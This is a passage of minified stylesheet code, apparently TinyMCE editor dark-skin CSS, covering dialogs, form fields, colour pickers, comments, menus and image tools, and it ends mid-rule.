.tox-collection__item-label{white-space:nowrap}.tox .tox-collection--horizontal .tox-collection__item-caret{margin-left:4px}.tox .tox-collection__item-container{display:flex}.tox .tox-collection__item-container--row{align-items:center;flex:1 1 auto;flex-direction:row}.tox .tox-collection__item-container--row.tox-collection__item-container--align-left{margin-right:auto}.tox .tox-collection__item-container--row.tox-collection__item-container--align-right{justify-content:flex-end;margin-left:auto}.tox .tox-collection__item-container--row.tox-collection__item-container--valign-top{align-items:flex-start;margin-bottom:auto}.tox .tox-collection__item-container--row.tox-collection__item-container--valign-middle{align-items:center}.tox .tox-collection__item-container--row.tox-collection__item-container--valign-bottom{align-items:flex-end;margin-top:auto}.tox .tox-collection__item-container--column{-ms-grid-row-align:center;align-self:center;flex:1 1 auto;flex-direction:column}.tox .tox-collection__item-container--column.tox-collection__item-container--align-left{align-items:flex-start}.tox .tox-collection__item-container--column.tox-collection__item-container--align-right{align-items:flex-end}.tox .tox-collection__item-container--column.tox-collection__item-container--valign-top{align-self:flex-start}.tox .tox-collection__item-container--column.tox-collection__item-container--valign-middle{-ms-grid-row-align:center;align-self:center}.tox .tox-collection__item-container--column.tox-collection__item-container--valign-bottom{align-self:flex-end}.tox:not([dir=rtl]) .tox-collection--horizontal .tox-collection__group:not(:last-of-type){border-right:1px solid #000}.tox:not([dir=rtl]) .tox-collection--list .tox-collection__item>:not(:first-child){margin-left:8px}.tox:not([dir=rtl]) .tox-collection--list .tox-collection__item>.tox-collection__item-label:first-child{margin-left:4px}.tox:not([dir=rtl]) .tox-collection__item-accessory{margin-left:16px;text-align:right}.tox:not([dir=rtl]) .tox-collection .tox-collection__item-caret{margin-left:16px}.tox[dir=rtl] .tox-collection--horizontal .tox-collection__group:not(:last-of-type){border-left:1px solid #000}.tox[dir=rtl] .tox-collection--list .tox-collection__item>:not(:first-child){margin-right:8px}.tox[dir=rtl] .tox-collection--list .tox-collection__item>.tox-collection__item-label:first-child{margin-right:4px}.tox[dir=rtl] .tox-collection__item-accessory{margin-right:16px;text-align:left}.tox[dir=rtl] .tox-collection .tox-collection__item-caret{margin-right:16px;transform:rotateY(180deg)}.tox[dir=rtl] .tox-collection--horizontal .tox-collection__item-caret{margin-right:4px}.tox .tox-color-picker-container{display:flex;flex-direction:row;height:225px;margin:0}.tox .tox-sv-palette{box-sizing:border-box;display:flex;height:100%}.tox .tox-sv-palette-spectrum{height:100%}.tox .tox-sv-palette,.tox .tox-sv-palette-spectrum{width:225px}.tox .tox-sv-palette-thumb{background:0 0;border:1px solid #000;border-radius:50%;box-sizing:content-box;height:12px;position:absolute;width:12px}.tox .tox-sv-palette-inner-thumb{border:1px solid #fff;border-radius:50%;height:10px;position:absolute;width:10px}.tox .tox-hue-slider{box-sizing:border-box;height:100%;width:25px}.tox .tox-hue-slider-spectrum{background:linear-gradient(to bottom,red,#ff0080,#f0f,#8000ff,#00f,#0080ff,#0ff,#00ff80,#0f0,#80ff00,#ff0,#ff8000,red);height:100%;width:100%}.tox .tox-hue-slider,.tox .tox-hue-slider-spectrum{width:20px}.tox .tox-hue-slider-thumb{background:#fff;border:1px solid #000;box-sizing:content-box;height:4px;width:100%}.tox .tox-rgb-form{display:flex;flex-direction:column;justify-content:space-between}.tox .tox-rgb-form div{align-items:center;display:flex;justify-content:space-between;margin-bottom:5px;width:inherit}.tox .tox-rgb-form input{width:6em}.tox .tox-rgb-form input.tox-invalid{border:1px solid red!important}.tox .tox-rgb-form .tox-rgba-preview{border:1px solid #000;flex-grow:2;margin-bottom:0}.tox:not([dir=rtl]) .tox-sv-palette{margin-right:15px}.tox:not([dir=rtl]) .tox-hue-slider{margin-right:15px}.tox:not([dir=rtl]) .tox-hue-slider-thumb{margin-left:-1px}.tox:not([dir=rtl]) .tox-rgb-form label{margin-right:.5em}.tox[dir=rtl] .tox-sv-palette{margin-left:15px}.tox[dir=rtl] .tox-hue-slider{margin-left:15px}.tox[dir=rtl] .tox-hue-slider-thumb{margin-right:-1px}.tox[dir=rtl] .tox-rgb-form label{margin-left:.5em}.tox .tox-toolbar .tox-swatches,.tox .tox-toolbar__overflow .tox-swatches,.tox .tox-toolbar__primary .tox-swatches{margin:2px 0 3px 4px}.tox .tox-collection--list .tox-collection__group .tox-swatches-menu{border:0;margin:-4px 0}.tox .tox-swatches__row{display:flex}.tox .tox-swatch{height:30px;transition:transform .15s,box-shadow .15s;width:30px}.tox .tox-swatch:focus,.tox .tox-swatch:hover{box-shadow:0 0 0 1px rgba(127,127,127,.3) inset;transform:scale(.8)}.tox .tox-swatch--remove{align-items:center;display:flex;justify-content:center}.tox .tox-swatch--remove svg path{stroke:#e74c3c}.tox .tox-swatches__picker-btn{align-items:center;background-color:transparent;border:0;cursor:pointer;display:flex;height:30px;justify-content:center;outline:0;padding:0;width:30px}.tox .tox-swatches__picker-btn svg{height:24px;width:24px}.tox .tox-swatches__picker-btn:hover{background:#4a5562}.tox:not([dir=rtl]) .tox-swatches__picker-btn{margin-left:auto}.tox[dir=rtl] .tox-swatches__picker-btn{margin-right:auto}.tox .tox-comment-thread{background:#2b3b4e;position:relative}.tox .tox-comment-thread>:not(:first-child){margin-top:8px}.tox .tox-comment{background:#2b3b4e;border:1px solid #000;border-radius:3px;box-shadow:0 4px 8px 0 rgba(42,55,70,.1);padding:8px 8px 16px 8px;position:relative}.tox .tox-comment__header{align-items:center;color:#fff;display:flex;justify-content:space-between}.tox .tox-comment__date{color:rgba(255,255,255,.5);font-size:12px}.tox .tox-comment__body{color:#fff;font-size:14px;font-style:normal;font-weight:400;line-height:1.3;margin-top:8px;position:relative;text-transform:initial}.tox .tox-comment__body textarea{resize:none;white-space:normal;width:100%}.tox .tox-comment__expander{padding-top:8px}.tox .tox-comment__expander p{color:rgba(255,255,255,.5);font-size:14px;font-style:normal}.tox .tox-comment__body p{margin:0}.tox .tox-comment__buttonspacing{padding-top:16px;text-align:center}.tox .tox-comment-thread__overlay::after{background:#2b3b4e;bottom:0;content:"";display:flex;left:0;opacity:.9;position:absolute;right:0;top:0;z-index:5}.tox .tox-comment__reply{display:flex;flex-shrink:0;flex-wrap:wrap;justify-content:flex-end;margin-top:8px}.tox .tox-comment__reply>:first-child{margin-bottom:8px;width:100%}.tox .tox-comment__edit{display:flex;flex-wrap:wrap;justify-content:flex-end;margin-top:16px}.tox .tox-comment__gradient::after{background:linear-gradient(rgba(43,59,78,0),#2b3b4e);bottom:0;content:"";display:block;height:5em;margin-top:-40px;position:absolute;width:100%}.tox .tox-comment__overlay{background:#2b3b4e;bottom:0;display:flex;flex-direction:column;flex-grow:1;left:0;opacity:.9;position:absolute;right:0;text-align:center;top:0;z-index:5}.tox .tox-comment__loading-text{align-items:center;color:#fff;display:flex;flex-direction:column;position:relative}.tox .tox-comment__loading-text>div{padding-bottom:16px}.tox .tox-comment__overlaytext{bottom:0;flex-direction:column;font-size:14px;left:0;padding:1em;position:absolute;right:0;top:0;z-index:10}.tox .tox-comment__overlaytext p{background-color:#2b3b4e;box-shadow:0 0 8px 8px #2b3b4e;color:#fff;text-align:center}.tox .tox-comment__overlaytext div:nth-of-type(2){font-size:.8em}.tox .tox-comment__busy-spinner{align-items:center;background-color:#2b3b4e;bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0;z-index:20}.tox .tox-comment__scroll{display:flex;flex-direction:column;flex-shrink:1;overflow:auto}.tox .tox-conversations{margin:8px}.tox:not([dir=rtl]) .tox-comment__edit{margin-left:8px}.tox:not([dir=rtl]) .tox-comment__buttonspacing>:last-child,.tox:not([dir=rtl]) .tox-comment__edit>:last-child,.tox:not([dir=rtl]) .tox-comment__reply>:last-child{margin-left:8px}.tox[dir=rtl] .tox-comment__edit{margin-right:8px}.tox[dir=rtl] .tox-comment__buttonspacing>:last-child,.tox[dir=rtl] .tox-comment__edit>:last-child,.tox[dir=rtl] .tox-comment__reply>:last-child{margin-right:8px}.tox .tox-user{align-items:center;display:flex}.tox .tox-user__avatar svg{fill:rgba(255,255,255,.5)}.tox .tox-user__name{color:rgba(255,255,255,.5);font-size:12px;font-style:normal;font-weight:700;text-transform:uppercase}.tox:not([dir=rtl]) .tox-user__avatar svg{margin-right:8px}.tox:not([dir=rtl]) .tox-user__avatar+.tox-user__name{margin-left:8px}.tox[dir=rtl] .tox-user__avatar svg{margin-left:8px}.tox[dir=rtl] .tox-user__avatar+.tox-user__name{margin-right:8px}.tox .tox-dialog-wrap{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:fixed;right:0;top:0;z-index:1100}.tox .tox-dialog-wrap__backdrop{background-color:rgba(34,47,62,.75);bottom:0;left:0;position:absolute;right:0;top:0;z-index:1}.tox .tox-dialog-wrap__backdrop--opaque{background-color:#222f3e}.tox .tox-dialog{background-color:#2b3b4e;border-color:#000;border-radius:3px;border-style:solid;border-width:1px;box-shadow:0 16px 16px -10px rgba(42,55,70,.15),0 0 40px 1px rgba(42,55,70,.15);display:flex;flex-direction:column;max-height:100%;max-width:480px;overflow:hidden;position:relative;width:95vw;z-index:2}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox .tox-dialog{align-self:flex-start;margin:8px auto;width:calc(100vw - 16px)}}.tox .tox-dialog-inline{z-index:1100}.tox .tox-dialog__header{align-items:center;background-color:#2b3b4e;border-bottom:none;color:#fff;display:flex;font-size:16px;justify-content:space-between;padding:8px 16px 0 16px;position:relative}.tox .tox-dialog__header .tox-button{z-index:1}.tox .tox-dialog__draghandle{cursor:grab;height:100%;left:0;position:absolute;top:0;width:100%}.tox .tox-dialog__draghandle:active{cursor:grabbing}.tox .tox-dialog__dismiss{margin-left:auto}.tox .tox-dialog__title{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:20px;font-style:normal;font-weight:400;line-height:1.3;margin:0;text-transform:none}.tox .tox-dialog__body{color:#fff;display:flex;flex:1;-ms-flex-preferred-size:auto;font-size:16px;font-style:normal;font-weight:400;line-height:1.3;min-width:0;text-align:left;text-transform:none}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox .tox-dialog__body{flex-direction:column}}.tox .tox-dialog__body-nav{align-items:flex-start;display:flex;flex-direction:column;padding:16px 16px}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox .tox-dialog__body-nav{flex-direction:row;-webkit-overflow-scrolling:touch;overflow-x:auto;padding-bottom:0}}.tox .tox-dialog__body-nav-item{border-bottom:2px solid transparent;color:rgba(255,255,255,.5);display:inline-block;font-size:14px;line-height:1.3;margin-bottom:8px;text-decoration:none;white-space:nowrap}.tox .tox-dialog__body-nav-item:focus{background-color:rgba(32,122,183,.1)}.tox .tox-dialog__body-nav-item--active{border-bottom:2px solid #207ab7;color:#207ab7}.tox .tox-dialog__body-content{box-sizing:border-box;display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto;max-height:650px;overflow:auto;-webkit-overflow-scrolling:touch;padding:16px 16px}.tox .tox-dialog__body-content>*{margin-bottom:0;margin-top:16px}.tox .tox-dialog__body-content>:first-child{margin-top:0}.tox .tox-dialog__body-content>:last-child{margin-bottom:0}.tox .tox-dialog__body-content>:only-child{margin-bottom:0;margin-top:0}.tox .tox-dialog__body-content a{color:#207ab7;cursor:pointer;text-decoration:none}.tox .tox-dialog__body-content a:focus,.tox .tox-dialog__body-content a:hover{color:#185d8c;text-decoration:none}.tox .tox-dialog__body-content a:active{color:#185d8c;text-decoration:none}.tox .tox-dialog__body-content svg{fill:#fff}.tox .tox-dialog__body-content ul{display:block;list-style-type:disc;margin-bottom:16px;-webkit-margin-end:0;margin-inline-end:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-padding-start:2.5rem;padding-inline-start:2.5rem}.tox .tox-dialog__body-content .tox-form__group h1{color:#fff;font-size:20px;font-style:normal;font-weight:700;letter-spacing:normal;margin-bottom:16px;margin-top:2rem;text-transform:none}.tox .tox-dialog__body-content .tox-form__group h2{color:#fff;font-size:16px;font-style:normal;font-weight:700;letter-spacing:normal;margin-bottom:16px;margin-top:2rem;text-transform:none}.tox .tox-dialog__body-content .tox-form__group p{margin-bottom:16px}.tox .tox-dialog__body-content .tox-form__group h1:first-child,.tox .tox-dialog__body-content .tox-form__group h2:first-child,.tox .tox-dialog__body-content .tox-form__group p:first-child{margin-top:0}.tox .tox-dialog__body-content .tox-form__group h1:last-child,.tox .tox-dialog__body-content .tox-form__group h2:last-child,.tox .tox-dialog__body-content .tox-form__group p:last-child{margin-bottom:0}.tox .tox-dialog__body-content .tox-form__group h1:only-child,.tox .tox-dialog__body-content .tox-form__group h2:only-child,.tox .tox-dialog__body-content .tox-form__group p:only-child{margin-bottom:0;margin-top:0}.tox .tox-dialog--width-lg{height:650px;max-width:1200px}.tox .tox-dialog--width-md{max-width:800px}.tox .tox-dialog--width-md .tox-dialog__body-content{overflow:auto}.tox .tox-dialog__body-content--centered{text-align:center}.tox .tox-dialog__footer{align-items:center;background-color:#2b3b4e;border-top:1px solid #000;display:flex;justify-content:space-between;padding:8px 16px}.tox .tox-dialog__footer-end,.tox .tox-dialog__footer-start{display:flex}.tox .tox-dialog__busy-spinner{align-items:center;background-color:rgba(34,47,62,.75);bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0;z-index:3}.tox .tox-dialog__table{border-collapse:collapse;width:100%}.tox .tox-dialog__table thead th{font-weight:700;padding-bottom:8px}.tox .tox-dialog__table tbody tr{border-bottom:1px solid #000}.tox .tox-dialog__table tbody tr:last-child{border-bottom:none}.tox .tox-dialog__table td{padding-bottom:8px;padding-top:8px}.tox .tox-dialog__popups{position:absolute;width:100%;z-index:1100}.tox .tox-dialog__body-iframe{display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto}.tox .tox-dialog__body-iframe .tox-navobj{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-dialog__body-iframe .tox-navobj :nth-child(2){flex:1;-ms-flex-preferred-size:auto;height:100%}.tox .tox-dialog-dock-fadeout{opacity:0;visibility:hidden}.tox .tox-dialog-dock-fadein{opacity:1;visibility:visible}.tox .tox-dialog-dock-transition{transition:visibility 0s linear .3s,opacity .3s ease}.tox .tox-dialog-dock-transition.tox-dialog-dock-fadein{transition-delay:0s}.tox.tox-platform-ie .tox-dialog-wrap{position:-ms-device-fixed}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox:not([dir=rtl]) .tox-dialog__body-nav{margin-right:0}}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox:not([dir=rtl]) .tox-dialog__body-nav-item:not(:first-child){margin-left:8px}}.tox:not([dir=rtl]) .tox-dialog__footer .tox-dialog__footer-end>*,.tox:not([dir=rtl]) .tox-dialog__footer .tox-dialog__footer-start>*{margin-left:8px}.tox[dir=rtl] .tox-dialog__body{text-align:right}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox[dir=rtl] .tox-dialog__body-nav{margin-left:0}}@media only screen and (max-width:767px){body:not(.tox-force-desktop) .tox[dir=rtl] .tox-dialog__body-nav-item:not(:first-child){margin-right:8px}}.tox[dir=rtl] .tox-dialog__footer .tox-dialog__footer-end>*,.tox[dir=rtl] .tox-dialog__footer .tox-dialog__footer-start>*{margin-right:8px}body.tox-dialog__disable-scroll{overflow:hidden}.tox .tox-dropzone-container{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-dropzone{align-items:center;background:#fff;border:2px dashed #000;box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;min-height:100px;padding:10px}.tox .tox-dropzone p{color:rgba(255,255,255,.5);margin:0 0 16px 0}.tox .tox-edit-area{display:flex;flex:1;-ms-flex-preferred-size:auto;overflow:hidden;position:relative}.tox .tox-edit-area__iframe{background-color:#fff;border:0;box-sizing:border-box;flex:1;-ms-flex-preferred-size:auto;height:100%;position:absolute;width:100%}.tox.tox-inline-edit-area{border:1px dotted #000}.tox .tox-editor-container{display:flex;flex:1 1 auto;flex-direction:column;overflow:hidden}.tox .tox-editor-header{z-index:1}.tox:not(.tox-tinymce-inline) .tox-editor-header{box-shadow:none;transition:box-shadow .5s}.tox.tox-tinymce--toolbar-bottom .tox-editor-header,.tox.tox-tinymce-inline .tox-editor-header{margin-bottom:-1px}.tox.tox-tinymce--toolbar-sticky-on .tox-editor-header{background-color:transparent;box-shadow:0 4px 4px -3px rgba(0,0,0,.25)}.tox-editor-dock-fadeout{opacity:0;visibility:hidden}.tox-editor-dock-fadein{opacity:1;visibility:visible}.tox-editor-dock-transition{transition:visibility 0s linear .25s,opacity .25s ease}.tox-editor-dock-transition.tox-editor-dock-fadein{transition-delay:0s}.tox .tox-control-wrap{flex:1;position:relative}.tox .tox-control-wrap:not(.tox-control-wrap--status-invalid) .tox-control-wrap__status-icon-invalid,.tox .tox-control-wrap:not(.tox-control-wrap--status-unknown) .tox-control-wrap__status-icon-unknown,.tox .tox-control-wrap:not(.tox-control-wrap--status-valid) .tox-control-wrap__status-icon-valid{display:none}.tox .tox-control-wrap svg{display:block}.tox .tox-control-wrap__status-icon-wrap{position:absolute;top:50%;transform:translateY(-50%)}.tox .tox-control-wrap__status-icon-invalid svg{fill:#c00}.tox .tox-control-wrap__status-icon-unknown svg{fill:orange}.tox .tox-control-wrap__status-icon-valid svg{fill:green}.tox:not([dir=rtl]) .tox-control-wrap--status-invalid .tox-textfield,.tox:not([dir=rtl]) .tox-control-wrap--status-unknown .tox-textfield,.tox:not([dir=rtl]) .tox-control-wrap--status-valid .tox-textfield{padding-right:32px}.tox:not([dir=rtl]) .tox-control-wrap__status-icon-wrap{right:4px}.tox[dir=rtl] .tox-control-wrap--status-invalid .tox-textfield,.tox[dir=rtl] .tox-control-wrap--status-unknown .tox-textfield,.tox[dir=rtl] .tox-control-wrap--status-valid .tox-textfield{padding-left:32px}.tox[dir=rtl] .tox-control-wrap__status-icon-wrap{left:4px}.tox .tox-autocompleter{max-width:25em}.tox .tox-autocompleter .tox-menu{max-width:25em}.tox .tox-autocompleter .tox-autocompleter-highlight{font-weight:700}.tox .tox-color-input{display:flex;position:relative;z-index:1}.tox .tox-color-input .tox-textfield{z-index:-1}.tox .tox-color-input span{border-color:rgba(42,55,70,.2);border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;height:24px;position:absolute;top:6px;width:24px}.tox .tox-color-input span:focus:not([aria-disabled=true]),.tox .tox-color-input span:hover:not([aria-disabled=true]){border-color:#207ab7;cursor:pointer}.tox .tox-color-input span::before{background-image:linear-gradient(45deg,rgba(255,255,255,.25) 25%,transparent 25%),linear-gradient(-45deg,rgba(255,255,255,.25) 25%,transparent 25%),linear-gradient(45deg,transparent 75%,rgba(255,255,255,.25) 75%),linear-gradient(-45deg,transparent 75%,rgba(255,255,255,.25) 75%);background-position:0 0,0 6px,6px -6px,-6px 0;background-size:12px 12px;border:1px solid #2b3b4e;border-radius:3px;box-sizing:border-box;content:'';height:24px;left:-1px;position:absolute;top:-1px;width:24px;z-index:-1}.tox .tox-color-input span[aria-disabled=true]{cursor:not-allowed}.tox:not([dir=rtl]) .tox-color-input .tox-textfield{padding-left:36px}.tox:not([dir=rtl]) .tox-color-input span{left:6px}.tox[dir=rtl] .tox-color-input .tox-textfield{padding-right:36px}.tox[dir=rtl] .tox-color-input span{right:6px}.tox .tox-label,.tox .tox-toolbar-label{color:rgba(255,255,255,.5);display:block;font-size:14px;font-style:normal;font-weight:400;line-height:1.3;padding:0 8px 0 0;text-transform:none;white-space:nowrap}.tox .tox-toolbar-label{padding:0 8px}.tox[dir=rtl] .tox-label{padding:0 0 0 8px}.tox .tox-form{display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto}.tox .tox-form__group{box-sizing:border-box;margin-bottom:4px}.tox .tox-form-group--maximize{flex:1}.tox .tox-form__group--error{color:#c00}.tox .tox-form__group--collection{display:flex}.tox .tox-form__grid{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between}.tox .tox-form__grid--2col>.tox-form__group{width:calc(50% - (8px / 2))}.tox .tox-form__grid--3col>.tox-form__group{width:calc(100% / 3 - (8px / 2))}.tox .tox-form__grid--4col>.tox-form__group{width:calc(25% - (8px / 2))}.tox .tox-form__controls-h-stack{align-items:center;display:flex}.tox .tox-form__group--inline{align-items:center;display:flex}.tox .tox-form__group--stretched{display:flex;flex:1;flex-direction:column;-ms-flex-preferred-size:auto}.tox .tox-form__group--stretched .tox-textarea{flex:1;-ms-flex-preferred-size:auto}.tox .tox-form__group--stretched .tox-navobj{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-form__group--stretched .tox-navobj :nth-child(2){flex:1;-ms-flex-preferred-size:auto;height:100%}.tox:not([dir=rtl]) .tox-form__controls-h-stack>:not(:first-child){margin-left:4px}.tox[dir=rtl] .tox-form__controls-h-stack>:not(:first-child){margin-right:4px}.tox .tox-lock.tox-locked .tox-lock-icon__unlock,.tox .tox-lock:not(.tox-locked) .tox-lock-icon__lock{display:none}.tox .tox-listboxfield .tox-listbox--select,.tox .tox-textarea,.tox .tox-textfield,.tox .tox-toolbar-textfield{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:#2b3b4e;border-color:#000;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;line-height:24px;margin:0;min-height:34px;outline:0;padding:5px 4.75px;resize:none;width:100%}.tox .tox-textarea[disabled],.tox .tox-textfield[disabled]{background-color:#222f3e;color:rgba(255,255,255,.85);cursor:not-allowed}.tox .tox-listboxfield .tox-listbox--select:focus,.tox .tox-textarea:focus,.tox .tox-textfield:focus{background-color:#2b3b4e;border-color:#207ab7;box-shadow:none;outline:0}.tox .tox-toolbar-textfield{border-width:0;margin-bottom:3px;margin-top:2px;max-width:250px}.tox .tox-naked-btn{background-color:transparent;border:0;border-color:transparent;box-shadow:unset;color:#207ab7;cursor:pointer;display:block;margin:0;padding:0}.tox .tox-naked-btn svg{display:block;fill:#fff}.tox:not([dir=rtl]) .tox-toolbar-textfield+*{margin-left:4px}.tox[dir=rtl] .tox-toolbar-textfield+*{margin-right:4px}.tox .tox-listboxfield{cursor:pointer;position:relative}.tox .tox-listboxfield .tox-listbox--select[disabled]{background-color:#19232e;color:rgba(255,255,255,.85);cursor:not-allowed}.tox .tox-listbox__select-label{cursor:default;flex:1;margin:0 4px}.tox .tox-listbox__select-chevron{align-items:center;display:flex;justify-content:center;width:16px}.tox .tox-listbox__select-chevron svg{fill:#fff}.tox .tox-listboxfield .tox-listbox--select{align-items:center;display:flex}.tox:not([dir=rtl]) .tox-listboxfield svg{right:8px}.tox[dir=rtl] .tox-listboxfield svg{left:8px}.tox .tox-selectfield{cursor:pointer;position:relative}.tox .tox-selectfield select{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:#2b3b4e;border-color:#000;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;line-height:24px;margin:0;min-height:34px;outline:0;padding:5px 4.75px;resize:none;width:100%}.tox .tox-selectfield select[disabled]{background-color:#19232e;color:rgba(255,255,255,.85);cursor:not-allowed}.tox .tox-selectfield select::-ms-expand{display:none}.tox .tox-selectfield select:focus{background-color:#2b3b4e;border-color:#207ab7;box-shadow:none;outline:0}.tox .tox-selectfield svg{pointer-events:none;position:absolute;top:50%;transform:translateY(-50%)}.tox:not([dir=rtl]) .tox-selectfield select[size="0"],.tox:not([dir=rtl]) .tox-selectfield select[size="1"]{padding-right:24px}.tox:not([dir=rtl]) .tox-selectfield svg{right:8px}.tox[dir=rtl] .tox-selectfield select[size="0"],.tox[dir=rtl] .tox-selectfield select[size="1"]{padding-left:24px}.tox[dir=rtl] .tox-selectfield svg{left:8px}.tox .tox-textarea{-webkit-appearance:textarea;-moz-appearance:textarea;appearance:textarea;white-space:pre-wrap}.tox-fullscreen{border:0;height:100%;margin:0;overflow:hidden;-ms-scroll-chaining:none;overscroll-behavior:none;padding:0;touch-action:pinch-zoom;width:100%}.tox.tox-tinymce.tox-fullscreen .tox-statusbar__resize-handle{display:none}.tox-shadowhost.tox-fullscreen,.tox.tox-tinymce.tox-fullscreen{left:0;position:fixed;top:0;z-index:1200}.tox.tox-tinymce.tox-fullscreen{background-color:transparent}.tox-fullscreen .tox.tox-tinymce-aux,.tox-fullscreen~.tox.tox-tinymce-aux{z-index:1201}.tox .tox-help__more-link{list-style:none;margin-top:1em}.tox .tox-image-tools{width:100%}.tox .tox-image-tools__toolbar{align-items:center;display:flex;justify-content:center}.tox .tox-image-tools__image{background-color:#666;height:380px;overflow:auto;position:relative;width:100%}.tox .tox-image-tools__image,.tox .tox-image-tools__image+.tox-image-tools__toolbar{margin-top:8px}.tox .tox-image-tools__image-bg{background:url(data:image/gif;base64,R0lGODdhDAAMAIABAMzMzP///ywAAAAADAAMAAACFoQfqYeabNyDMkBQb81Uat85nxguUAEAOw==)}.tox .tox-image-tools__toolbar>.tox-spacer{flex:1;-ms-flex-preferred-size:auto}.tox .tox-croprect-block{background:#000;opacity:.5;position:absolute;zoom:1}.tox .tox-croprect-handle{border:2px solid #fff;height:20px;left:0;position:absolute;top:0;width:20px}.tox .tox-croprect-handle-move{border:0;cursor:move;position:absolute}.tox .tox-croprect-handle-nw{border-width:2px 0 0 2px;cursor:nw-resize;left:100px;margin:-2px 0 0 -2px;top:100px}.tox .tox-croprect-handle-ne{border-width:2px 2px 0 0;cursor:ne-resize;left:200px;margin:-2px 0 0 -20px;top:100px}.tox .tox-croprect-handle-sw{border-width:0 0 2px 2px;cursor:sw-resize;left:100px;margin:-20px 2px 0 -2px;top:200px}.tox .tox-croprect-handle-se{border-width:0 2px 2px 0;cursor:se-resize;left:200px;margin:-20px 0 0 -20px;top:200px}.tox:not([dir=rtl]) .tox-image-tools__toolbar>.tox-slider:not(:first-of-type){margin-left:8px}.tox:not([dir=rtl]) .tox-image-tools__toolbar>.tox-button+.tox-slider{margin-left:32px}.tox:not([dir=rtl]) .tox-image-tools__toolbar>.tox-slider+.tox-button{margin-left:32px}.tox[dir=rtl] .tox-image-tools__toolbar>.tox-slider:not(:first-of-type){margin-right:8px}.tox[dir=rtl] .tox-image-tools__toolbar>.tox-button+.tox-slider{margin-right:32px}.tox[dir=rtl] .tox-image-tools__toolbar>.tox-slider+.tox-button{margin-right:32px}.tox .tox-insert-table-picker{display:flex;flex-wrap:wrap;width:170px}.tox .tox-insert-table-picker>div{border-color:#000;border-style:solid;border-width:0 1px 1px 0;box-sizing:border-box;height:17px;width:17px}.tox .tox-collection--list .tox-collection__group .tox-insert-table-picker{margin:-4px 0}.tox .tox-insert-table-picker .tox-insert-table-picker__selected{background-color:rgba(32,122,183,.5);border-color:rgba(32,122,183,.5)}.tox .tox-insert-table-picker__label{color:#fff;display:block;font-size:14px;padding:4px;text-align:center;width:100%}.tox:not([dir=rtl]) .tox-insert-table-picker>div:nth-child(10n){border-right:0}.tox[dir=rtl] .tox-insert-table-picker>div:nth-child(10n+1){border-right:0}.tox .tox-menu{background-color:#2b3b4e;border:1px solid #000;border-radius:3px;box-shadow:0 4px 8px 0 rgba(42,55,70,.1);display:inline-block;overflow:hidden;vertical-align:top;z-index:1150}.tox .tox-menu.tox-collection.tox-collection--list{padding:0}.tox .tox-menu.tox-collection.tox-collection--toolbar{padding:4px}.tox .tox-menu.tox-collection.tox-collection--grid{padding:4px}.tox .tox-menu__label blockquote,.tox .tox-menu__label code,.tox .tox-menu__label h1,.tox .tox-menu__label h2,.tox .tox-menu__label h3,.tox .tox-menu__label h4,.tox .tox-menu__label h5,.tox .tox-menu__label h6,.tox .tox-menu__label p{margin:0}.tox .tox-menubar{background:url("data:image/svg+xml;charset=utf8,%3Csvg height='39px' viewBox='0 0 40 39px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='38px' width='100' height='1' fill='%23000000'/%3E%3C/svg%3E") left 0 top 0 #222f3e;background-color:#222f3e;display:flex;flex:0 0 auto;flex-shrink:0;flex-wrap:wrap;padding:0 4px 0 4px}.tox.tox-tinymce:not(.tox-tinymce-inline) .tox-editor-header:not(:first-child) .tox-menubar{border-top:1px solid #000}.tox .tox-mbtn{align-items:center;background:0 0;border:0;border-radius:3px;box-shadow:none;color:#fff;display:flex;flex:0 0 auto;font-size:14px;font-style:normal;font-weight:400;height:34px;justify-content:center;margin:2px 0 3px 0;outline:0;overflow:hidden;padding:0 4px;text-transform:none;width:auto}.tox .tox-mbtn[disabled]{background-color:transparent;border:0;box-shadow:none;color:rgba(255,255,255,.5);cursor:not-allowed}.tox .tox-mbtn:focus:not(:disabled){background:#4a5562;border:0;box-shadow:none;color:#fff}.tox .tox-mbtn--active{background:#757d87;border:0;box-shadow:none;color:#fff}.tox .tox-mbtn:hover:not(:disabled):not(.tox-mbtn--active){background:#4a5562;border:0;box-shadow:none;color:#fff}.tox .tox-mbtn__select-label{cursor:default;font-weight:400;margin:0 4px}.tox .tox-mbtn[disabled] .tox-mbtn__select-label{cursor:not-allowed}.tox .tox-mbtn__select-chevron{align-items:center;display:flex;justify-content:center;width:16px;display:none}.tox .tox-notification{border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;display:-ms-grid;display:grid;font-size:14px;font-weight:400;-ms-grid-columns:minmax(40px,1fr) auto minmax(40px,1fr);grid-template-columns:minmax(40px,1fr) auto minmax(40px,1fr);margin-top:4px;opacity:0;padding:4px;transition:transform .1s 